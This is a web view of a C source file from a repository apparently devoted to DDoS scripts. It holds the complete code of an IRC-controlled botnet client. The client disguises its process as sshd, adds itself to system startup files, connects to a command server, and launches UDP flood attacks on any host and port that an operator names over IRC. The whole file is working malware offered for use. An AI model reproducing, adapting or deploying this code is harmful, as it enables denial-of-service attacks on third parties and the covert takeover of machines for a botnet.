Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/AMP YUBINA SCRIPTS/kaitenstd.c
4607 views
1
2
3
#define STARTUP //set to define if rooted
4
#undef IDENT
5
#define FAKENAME "/usr/bin/sshd"
6
#define CHAN "#Channel"
7
#define KEY "key"
8
#define PORT 443
9
#define PASS ""
10
#define STD2_STRING "std"
11
#define STD2_SIZE 50
12
#define PREFIX ""
13
int numservers=1;
14
char *servers[] = {
15
"1.1.1.1",
16
(void*)0
17
};
18
19
#include <stdarg.h>
20
#include <errno.h>
21
#include <stdio.h>
22
#include <stdlib.h>
23
#include <string.h>
24
#include <sys/types.h>
25
#include <sys/stat.h>
26
#include <fcntl.h>
27
#include <strings.h>
28
#include <netinet/in.h>
29
#include <unistd.h>
30
#include <sys/time.h>
31
#include <sys/socket.h>
32
#include <signal.h>
33
#include <arpa/inet.h>
34
#include <netdb.h>
35
#include <time.h>
36
#include <sys/wait.h>
37
#include <sys/ioctl.h>
38
39
int sock,changeservers=0;
40
char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";
41
unsigned int *pids;
42
unsigned long spoofs=0, spoofsm=0, numpids=0;
43
44
int strwildmatch(unsigned char* pattern, unsigned char* string) {
45
switch((unsigned char)*pattern) {
46
case '\0': return *string;
47
case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
48
case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
49
case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
50
case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
51
case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
52
case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
53
case '?': return !(*string && !strwildmatch(pattern+1, string+1));
54
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
55
}
56
}
57
int Send(int sock, char *words, ...) {
58
static char textBuffer[1024];
59
va_list args;
60
va_start(args, words);
61
vsprintf(textBuffer, words, args);
62
va_end(args);
63
return write(sock,textBuffer,strlen(textBuffer));
64
}
65
unsigned int host2ip(char *sender,char *hostname) {
66
static struct in_addr i;
67
struct hostent *h;
68
if((i.s_addr = inet_addr(hostname)) == -1) {
69
if((h = gethostbyname(hostname)) == NULL) {
70
Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
71
exit(0);
72
}
73
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
74
}
75
return i.s_addr;
76
}
77
int mfork(char *sender) {
78
unsigned int parent, *newpids, i;
79
if (disabled == 1) {
80
Send(sock,"NOTICE %s :Unable to comply.\n",sender);
81
return 1;
82
}
83
parent=fork();
84
if (parent <= 0) return parent;
85
numpids++;
86
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
87
for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
88
newpids[numpids-1]=parent;
89
free(pids);
90
pids=newpids;
91
return parent;
92
}
93
void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
94
char *makestring() {
95
char *tmp;
96
int len=(rand()%5)+4,i;
97
FILE *file;
98
tmp=(char*)malloc(len+1);
99
memset(tmp,0,len+1);
100
char *pre;
101
if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
102
else {
103
int a=((rand()*rand())%45402)+1;
104
char buf[1024];
105
for (i=0;i<a;i++) fgets(buf,1024,file);
106
memset(buf,0,1024);
107
fgets(buf,1024,file);
108
filter(buf);
109
memcpy(tmp,buf,len);
110
fclose(file);
111
}
112
return tmp;
113
}
114
void identd() {
115
int sockname,sockfd,sin_size,tmpsock,i;
116
struct sockaddr_in my_addr,their_addr;
117
char szBuffer[1024];
118
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
119
my_addr.sin_family = AF_INET;
120
my_addr.sin_port = htons(113);
121
my_addr.sin_addr.s_addr = INADDR_ANY;
122
memset(&(my_addr.sin_zero), 0, 8);
123
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
124
if (listen(sockfd, 1) == -1) return;
125
if (fork() == 0) return;
126
sin_size = sizeof(struct sockaddr_in);
127
if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
128
for(;;) {
129
fd_set bla;
130
struct timeval timee;
131
FD_ZERO(&bla);
132
FD_SET(tmpsock,&bla);
133
timee.tv_sec=timee.tv_usec=60;
134
if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
135
if (FD_ISSET(tmpsock,&bla)) break;
136
}
137
i = recv(tmpsock,szBuffer,1024,0);
138
if (i <= 0 || i >= 20) exit(0);
139
szBuffer[i]=0;
140
if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
141
if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
142
Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
143
close(tmpsock);
144
close(sockfd);
145
exit(0);
146
}
147
148
//STD Attack
149
void std(int sock, char *sender, int argc, char **argv) {
150
if (argc < 3) {
151
152
Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan);
153
exit(1);
154
155
}
156
unsigned long secs;
157
158
int iSTD_Sock;
159
160
iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
161
162
time_t start = time(NULL);
163
secs = atol(argv[3]);
164
if (mfork(sender) != 0) return;
165
Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
166
167
struct sockaddr_in sin;
168
169
struct hostent *hp;
170
171
hp = gethostbyname(argv[1]);
172
173
bzero((char*) &sin,sizeof(sin));
174
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
175
sin.sin_family = hp->h_addrtype;
176
sin.sin_port = atol(argv[2]);
177
178
unsigned int a = 0;
179
180
while(1){
181
if (a >= 50)
182
{
183
send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
184
connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
185
if (time(NULL) >= start + secs)
186
{
187
Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
188
close(iSTD_Sock);
189
exit(0);
190
}
191
a = 0;
192
}
193
a++;
194
}
195
196
197
}
198
199
void stop(int sock, char *sender, int argc, char **argv){
200
unsigned long i;
201
for (i=0;i<numpids;i++) {
202
if (pids[i] != 0 && pids[i] != getpid()) {
203
if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
204
kill(pids[i],9);
205
}
206
}
207
}
208
209
void unknown(int sock, char *sender, int argc, char **argv) {
210
int flag=1,fd,i;
211
unsigned long secs;
212
char *buf=(char*)malloc(9216);
213
struct hostent *hp;
214
struct sockaddr_in in;
215
216
time_t start=time(NULL);
217
218
if (mfork(sender) != 0) return;
219
220
if (argc != 2) {
221
Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
222
exit(1);
223
}
224
225
secs=atol(argv[2]);
226
227
memset((void*)&in,0,sizeof(struct sockaddr_in));
228
229
in.sin_addr.s_addr=host2ip(sender,argv[1]);
230
in.sin_family = AF_INET;
231
232
Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
233
234
while(1) {
235
236
in.sin_port = rand();
237
238
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
239
} else {
240
flag=1;
241
ioctl(fd,FIONBIO,&flag);
242
sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
243
close(fd);
244
}
245
246
if (i >= 50) {
247
if (time(NULL) >= start+secs) break;
248
i=0;
249
}
250
i++;
251
}
252
Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
253
close(fd);
254
exit(0);
255
}
256
257
//Kill the bot
258
void killsec(int sock, char *sender, int argc, char **argv) {
259
260
if(strcasecmp(adminuser1,sender) == 0){
261
262
kill(0,9);
263
264
} else {
265
266
Send(sock,"PRIVMSG %s :Nice try...\n", chan);
267
268
}
269
}
270
271
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
272
{ "+std" , std },
273
{ "+stop" , stop },
274
{ "+unknown" , unknown },
275
{ "Kkt9x4JApM0RuSqCLA" , killsec },
276
{ (char *)0, (void (*)(int,char *,int,char **))0 } };
277
278
void _PRIVMSG(int sock, char *sender, char *str) {
279
int i;
280
char *to, *message;
281
282
for (i=0;i<strlen(str) && str[i] != ' ';i++);
283
str[i]=0;
284
to=str;
285
message=str+i+2;
286
for (i=0;i<strlen(sender) && sender[i] != '!';i++);
287
sender[i]=0;
288
if (*message == '>' && !strcasecmp(to,chan)) {
289
char *params[12], name[1024]={0};
290
int num_params=0, m;
291
message++;
292
for (i=0;i<strlen(message) && message[i] != ' ';i++);
293
message[i]=0;
294
if (strwildmatch(message,nick)) return;
295
message+=i+1;
296
m=strlen(message);
297
for (i=0;i<m;i++) {
298
if (*message == ' ' || *message == 0) break;
299
name[i]=*message;
300
message++;
301
}
302
for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
303
num_params++;
304
if (num_params > 10) num_params=10;
305
params[0]=name;
306
params[num_params+1]="\0";
307
m=1;
308
while (*message != 0) {
309
message++;
310
if (m >= num_params) break;
311
for (i=0;i<strlen(message) && message[i] != ' ';i++);
312
params[m]=(char*)malloc(i+1);
313
strncpy(params[m],message,i);
314
params[m][i]=0;
315
m++;
316
message+=i;
317
}
318
for (m=0; flooders[m].cmd != (char *)0; m++) {
319
if (!strcasecmp(flooders[m].cmd,name)) {
320
flooders[m].func(sock,sender,num_params-1,params);
321
for (i=1;i<num_params;i++) free(params[i]);
322
return;
323
}
324
}
325
}
326
}
327
void _376(int sock, char *sender, char *str) {
328
Send(sock,"MODE %s +pixB\n",nick);
329
Send(sock,"JOIN %s :%s\n",chan,key);
330
Send(sock,"WHO %s\n",nick);
331
}
332
void _PING(int sock, char *sender, char *str) {
333
334
Send(sock,"PONG %s\n",str);
335
336
}
337
338
void _352(int sock, char *sender, char *str) {
339
int i,d;
340
char *msg=str;
341
struct hostent *hostm;
342
unsigned long m;
343
for (i=0,d=0;d<5;d++) {
344
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
345
if (i == strlen(str)) return;
346
}
347
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
348
msg[i]=0;
349
if (!strcasecmp(msg,nick) && !spoofsm) {
350
msg=str;
351
for (i=0,d=0;d<3;d++) {
352
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
353
if (i == strlen(str)) return;
354
}
355
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
356
msg[i]=0;
357
if ((m = inet_addr(msg)) == -1) {
358
if ((hostm=gethostbyname(msg)) == NULL) {
359
Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
360
return;
361
}
362
memcpy((char*)&m, hostm->h_addr, hostm->h_length);
363
}
364
((char*)&spoofs)[3]=((char*)&m)[0];
365
((char*)&spoofs)[2]=((char*)&m)[1];
366
((char*)&spoofs)[1]=((char*)&m)[2];
367
((char*)&spoofs)[0]=0;
368
spoofsm=256;
369
}
370
}
371
void _433(int sock, char *sender, char *str) {
372
free(nick);
373
char tempnick[50];
374
char *strpref = PREFIX;
375
char *genname = makestring();
376
strcpy(tempnick,strpref);
377
strcat(tempnick,genname);
378
nick=tempnick;
379
}
380
381
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
382
{ "352", _352 },
383
{ "376", _376 },
384
{ "433", _433 },
385
{ "422", _376 },
386
{ "PRIVMSG", _PRIVMSG },
387
{ "PING", _PING },
388
{ (char *)0, (void (*)(int,char *,char *))0 } };
389
void con() {
390
struct sockaddr_in srv;
391
unsigned long ipaddr,start;
392
int flag;
393
struct hostent *hp;
394
start:
395
sock=-1;
396
flag=1;
397
if (changeservers == 0) server=servers[rand()%numservers];
398
changeservers=0;
399
while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
400
if (inet_addr(server) == 0 || inet_addr(server) == -1) {
401
if ((hp = gethostbyname(server)) == NULL) {
402
server=NULL;
403
close(sock);
404
goto start;
405
}
406
bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
407
}
408
else srv.sin_addr.s_addr=inet_addr(server);
409
srv.sin_family = AF_INET;
410
srv.sin_port = htons(PORT);
411
ioctl(sock,FIONBIO,&flag);
412
start=time(NULL);
413
while(time(NULL)-start < 10) {
414
errno=0;
415
if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
416
setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
417
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
418
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
419
return;
420
}
421
if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
422
sleep(1);
423
}
424
server=NULL;
425
close(sock);
426
goto start;
427
}
428
int main(int argc, char *argv[]) {
429
int on,i;
430
char cwd[256],*str;
431
FILE *file;
432
#ifdef STARTUP
433
str="/etc/rc.d/rc.local";
434
file=fopen(str,"r");
435
if (file == NULL) {
436
str="/etc/rc.conf";
437
file=fopen(str,"r");
438
}
439
if (file != NULL) {
440
char outfile[256], buf[1024];
441
int i=strlen(argv[0]), d=0;
442
getcwd(cwd,256);
443
if (strcmp(cwd,"/")) {
444
while(argv[0][i] != '/') i--;
445
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
446
while(!feof(file)) {
447
fgets(buf,1024,file);
448
if (!strcasecmp(buf,outfile)) d++;
449
}
450
if (d == 0) {
451
FILE *out;
452
fclose(file);
453
out=fopen(str,"a");
454
if (out != NULL) {
455
fputs(outfile,out);
456
fclose(out);
457
}
458
}
459
else fclose(file);
460
}
461
else fclose(file);
462
}
463
#endif
464
if (fork()) exit(0);
465
#ifdef FAKENAME
466
strncpy(argv[0],FAKENAME,strlen(argv[0]));
467
for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
468
#endif
469
srand((time(NULL) ^ getpid()) + getppid());
470
char tempnick[50];
471
char *strpref = PREFIX;
472
char *genname = makestring();
473
474
strcpy(tempnick,strpref);
475
strcat(tempnick,genname);
476
477
nick=tempnick;
478
ident="STD";
479
user="STD IRC Bot";
480
chan=CHAN;
481
key=KEY;
482
pass=PASS;
483
server=NULL;
484
sa:
485
#ifdef IDENT
486
for (i=0;i<numpids;i++) {
487
if (pids[i] != 0 && pids[i] != getpid()) {
488
kill(pids[i],9);
489
waitpid(pids[i],NULL,WNOHANG);
490
}
491
}
492
pids=NULL;
493
numpids=0;
494
identd();
495
#endif
496
497
con();
498
Send(sock,"PASS %s\n", pass);
499
Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
500
while(1) {
501
unsigned long i;
502
fd_set n;
503
struct timeval tv;
504
FD_ZERO(&n);
505
FD_SET(sock,&n);
506
tv.tv_sec=60*20;
507
tv.tv_usec=0;
508
if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
509
for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
510
unsigned int *newpids,on;
511
for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
512
pids[on-1]=0;
513
numpids--;
514
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
515
for (on=0;on<numpids;on++) newpids[on]=pids[on];
516
free(pids);
517
pids=newpids;
518
}
519
if (FD_ISSET(sock,&n)) {
520
char buf[4096], *str;
521
int i;
522
if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
523
buf[i]=0;
524
str=strtok(buf,"\n");
525
while(str && *str) {
526
char name[1024], sender[1024];
527
filter(str);
528
if (*str == ':') {
529
for (i=0;i<strlen(str) && str[i] != ' ';i++);
530
str[i]=0;
531
strcpy(sender,str+1);
532
strcpy(str,str+i+1);
533
}
534
else strcpy(sender,"*");
535
for (i=0;i<strlen(str) && str[i] != ' ';i++);
536
str[i]=0;
537
strcpy(name,str);
538
strcpy(str,str+i+1);
539
for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
540
if (!strcasecmp(name,"ERROR")) goto sa;
541
str=strtok((char*)NULL,"\n");
542
}
543
}
544
}
545
return 0;
546
}
547